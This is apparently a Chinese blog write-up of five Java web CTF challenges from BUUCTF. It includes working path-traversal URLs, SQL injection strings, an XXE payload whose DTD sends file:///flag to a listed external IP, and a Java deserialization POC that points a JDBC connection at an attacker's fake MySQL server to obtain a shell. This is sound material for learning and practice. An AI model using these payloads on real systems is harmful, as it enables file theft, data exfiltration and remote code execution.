java刷题 -buuctf -1
[NewStarCTF 公开赛赛道]Rome
核心逻辑:
public class SerController {
@GetMapping({"/"})
@ResponseBody
public String helloCTF() {
return "Do you like Jvav?";
}
@PostMapping({"/"})
@ResponseBody
public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
if (EXP.equals(""))
return "Do you know Rome Serializer?";
byte[] exp = Base64.getDecoder().decode(EXP);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
return "Do You like Jvav?";
}
}
存在依赖:
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
没有waf,直接打ROME链即可.
这题实际拆包发现还存在Jackson依赖,而且版本也是有链子的,但是打不通,猜测是因为没有spring-aop
[RoarCTF 2019]Easy Java
黑盒测试,上来给了个登录框,点击以后跳转到路由/Download?filename=help.docx
,然而然而没有成功下载,必须是POST发包才能下载.这里存在任意文件下载漏洞,java中敏感文件的位置如下.
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
读取/WEB-INF/web.xml
发现存在如下映射:
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
去读取/WEB-INF/classes/com/wm/ctf/FlagController.class
,对其中的串base64解码即可得到flag.
[网鼎杯 2020 青龙组]filejava
发现存在一个任意文件上传的漏洞,传了一个jsp马以后发现存在任意文件下载漏洞,尝试通过路径遍历来读取配置文件.
/DownloadServlet?filename=../../../../WEB-INF/web.xml
得到web.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>
将出现的三个类依次下载下来
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
发现任意文件下载那把直接读flag给堵死了.其中上传的逻辑如下.
public class UploadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
public UploadServlet() {
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
File tempFile = new File(tempPath);
if (!tempFile.exists()) {
tempFile.mkdir();
}
String message = "";
try {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(102400);
factory.setRepository(tempFile);
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(1048576L);
upload.setSizeMax(10485760L);
if (!ServletFileUpload.isMultipartContent(request)) {
return;
}
List<FileItem> list = upload.parseRequest(request);
Iterator var10 = list.iterator();
label56:
while(true) {
while(true) {
if (!var10.hasNext()) {
break label56;
}
FileItem fileItem = (FileItem)var10.next();
String filename;
String fileExtName;
if (fileItem.isFormField()) {
filename = fileItem.getFieldName();
fileExtName = fileItem.getString("UTF-8");
} else {
filename = fileItem.getName();
if (filename != null && !filename.trim().equals("")) {
fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
InvalidFormatException e = var20;
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
String saveFilename = this.makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
String realSavePath = this.makePath(saveFilename, savePath);
FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
byte[] buffer = new byte[1024];
int len = false;
int len;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}
in.close();
out.close();
message = "文件上传成功!";
}
}
}
}
} catch (FileUploadException var21) {
FileUploadException e = var21;
e.printStackTrace();
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
}
private String makeFileName(String filename) {
return UUID.randomUUID().toString() + "_" + filename;
}
private String makePath(String filename, String savePath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = savePath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}
return dir;
}
}
只能传excel文件.想到了poi-ooxml-3.10-FINAL.jar及以下版本利用excel进行xxe的洞(CVE-2014-3529).
首先创建一个excel-lbz.xlsx
文件,然后将其以压缩包形式打开,修改其中的[Content-Types].xml
文件,在第二行添加如下内容:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps/file.dtd">
%remote;%int;%send;
]>
然后再在vps上创建一个file.dtd
文件,内容如下:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://123.57.23.40:1111?p=%file;'>">
通过file协议读文件,vps监听1111端口,上传excel文件即可得到flag.
[网鼎杯 2020 朱雀组]Think Java
给出了部分源码.在其中的SqlDict.class中存在sql注入漏洞
public class SqlDict {
public SqlDict() {
}
public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;
try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}
if (user == null || dbName.equals("")) {
user = "root";
}
if (pass == null || dbName.equals("")) {
pass = "abc@12345";
}
conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
ClassNotFoundException var5 = var5;
var5.printStackTrace();
} catch (SQLException var6) {
SQLException var6 = var6;
var6.printStackTrace();
}
return conn;
}
public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";
try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});
while(tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);
while(rs.next()) {
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
}
table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);
String PK;
for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
}
while(data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}
Tables.add(table);
}
} catch (SQLException var16) {
SQLException var16 = var16;
var16.printStackTrace();
}
return Tables;
}
}
而这个dbName是用户可控的,因此产生了sql注入漏洞.重点是bypass这里
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}
jdbc协议的解析方式类似于URL解析,会自动忽视锚点#
后面的东西,因此可以通过构造dbName=myapp#' xxx #
来bypass同时构成sql注入漏洞.
在Test.class中发现导入了如下的包
import io.swagger.annotations.ApiOperation;
swagger-ui是一个便于测试的接口组件,我们访问swagger-ui.html
看到如下三个查询接口:
在最下面的接口处进行sql注入:
dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user
dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd
dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde
在/common/user/login
处提交用户名和密码,得到了一个奇怪的串
{
"password": "admin@Rrrr_ctf_asde",
"username": "admin"
}
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
这是一个token,其中的编码形式看着像是base64,解码一下发现似乎是一种序列化的数据.
补档:
在java中序列化的结果base64表示通常以rO0AB开头,hex表示通常以aced开头
去/common/user/current
处提交这个串,发现能够回显用户信息.在此处提交这个串,抓包发送到Deserialization Scanner
,去破解服务器中的依赖:
发现存在ROME链可以打.
接个shell拿到flag
[羊城杯 2020]A Piece Of Java
白盒审计题,先将项目结构恢复.其中的部分依赖需要手动导入.贴一下有用的代码:
MainController.java
@Controller
public class MainController {
@GetMapping({"/index"})
public String index(@CookieValue(value = "data", required = false) String cookieData) {
if (cookieData != null && !cookieData.equals(""))
return "redirect:/hello";
return "index";
}
@PostMapping({"/index"})
public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
UserInfo userinfo = new UserInfo();
userinfo.setUsername(username);
userinfo.setPassword(password);
Cookie cookie = new Cookie("data", serialize(userinfo));
cookie.setMaxAge(2592000);
response.addCookie(cookie);
return "redirect:/hello";
}
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
if (cookieData == null || cookieData.equals(""))
return "redirect:/index";
Info info = (Info)deserialize(cookieData);
if (info != null)
model.addAttribute("info", info.getAllInfo());
return "hello";
}
private String serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
} catch (Exception e) {
e.printStackTrace();
return null;
}
return new String(Base64.getEncoder().encode(baos.toByteArray()));
}
private Object deserialize(String base64data) {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
SerialKiller serialKiller = new SerialKiller(bais, "serialkiller.conf");
obj = serialKiller.readObject();
serialKiller.close();
} catch (Exception e) {
e.printStackTrace();
return null;
}
return obj;
}
}
InfoInvocationHandler.java
public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;
public InfoInvocationHandler(Info info) {
this.info = info;
}
public Object invoke(Object proxy, Method method, Object[] args) {
try {
if (method.getName().equals("getAllInfo") &&
!this.info.checkAllInfo().booleanValue())
return null;
return method.invoke(this.info, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
DatabaseInfo.java
public class DatabaseInfo implements Serializable, Info {
private String host;
private String port;
private String username;
private String password;
private Connection connection;
public void setHost(String host) {
this.host = host;
}
public void setPort(String port) {
this.port = port;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String getHost() {
return this.host;
}
public String getPort() {
return this.port;
}
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public Connection getConnection() {
if (this.connection == null)
connect();
return this.connection;
}
private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
public Boolean checkAllInfo() {
if (this.host == null || this.port == null || this.username == null || this.password == null)
return Boolean.valueOf(false);
if (this.connection == null)
connect();
return Boolean.valueOf(true);
}
public String getAllInfo() {
return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
}
}
info.java
public interface Info {
Boolean checkAllInfo();
String getAllInfo();
}
看了一下,存在commons-collections3.2.1
依赖,发现在hello路由存在反序列化操作,然而是通过SerialKiller
来进行反序列化操作,然而反序列化使用的是.
SerialKiller serialKiller = new SerialKiller(bais, "serialkiller.conf");
obj = serialKiller.readObject();
serialKiller.close();
查看serialkiller.conf
,发现仅允许反序列化的出口为java.lang.*
或这个软件包内的类.
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<blacklist>
</blacklist>
<whitelist>
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>
</whitelist>
</config>
这就很难办,因为原生反序列化都是用集合类java.util.*
作为出口的.发现mysql依赖版本为:BOOT-INF.lib.mysql-connector-java-8.0.19.jar
,存在jdbc反序列化漏洞.
而DatabaseInfo.connect
方法中通过命令拼接来构成查询URL,恰好可以触发这个漏洞.
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
checkAllInfo
调用了这个connect
方法,而InfoInvocationHandler
调用了这个checkAllInfo
方法.InfoInvocationHandler
实现了InvocationHandler
接口,是用来进行动态代理的.而java.lang.reflect.Proxy.newProxyInstance
正是java.lang
中的,可以通过黑名单.那么如何触发这个invoke
方法呢?回头去看hello路由
Info info = (Info)deserialize(cookieData);
if (info != null)
model.addAttribute("info", info.getAllInfo());
会触发info.getAllInfo
方法.而在invoke
方法中的判断逻辑为:
if (method.getName().equals("getAllInfo") &&
!this.info.checkAllInfo().booleanValue())
return null;
return method.invoke(this.info, args);
所以说明这是唯一且正确的途径.总结得出gadget如下
gadget:
DatabaseInfo.getAllInfo
InfoInvocationHandler.Invoke
DatabaseInfo.checkAllInfo
DatabaseInfo.connect
java.sql.DriverManager.getConnection
写出poc如下:
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class POC {
public static void main(String[] args) throws IOException {
Info info = new DatabaseInfo();
((DatabaseInfo) info).setHost("123.57.23.40");
((DatabaseInfo) info).setPort("3308");
((DatabaseInfo) info).setUsername("u70d5c5");
((DatabaseInfo) info).setPassword("root&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
Info ProxyInfo = (Info) java.lang.reflect.Proxy.newProxyInstance(
info.getClass().getClassLoader(),
info.getClass().getInterfaces(),
new InfoInvocationHandler(info)
);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ProxyInfo);
oos.close();
System.out.printf(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}
web-chains起一个mysql-fake-server
,cookie中添加序列化结果成功拿shell
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理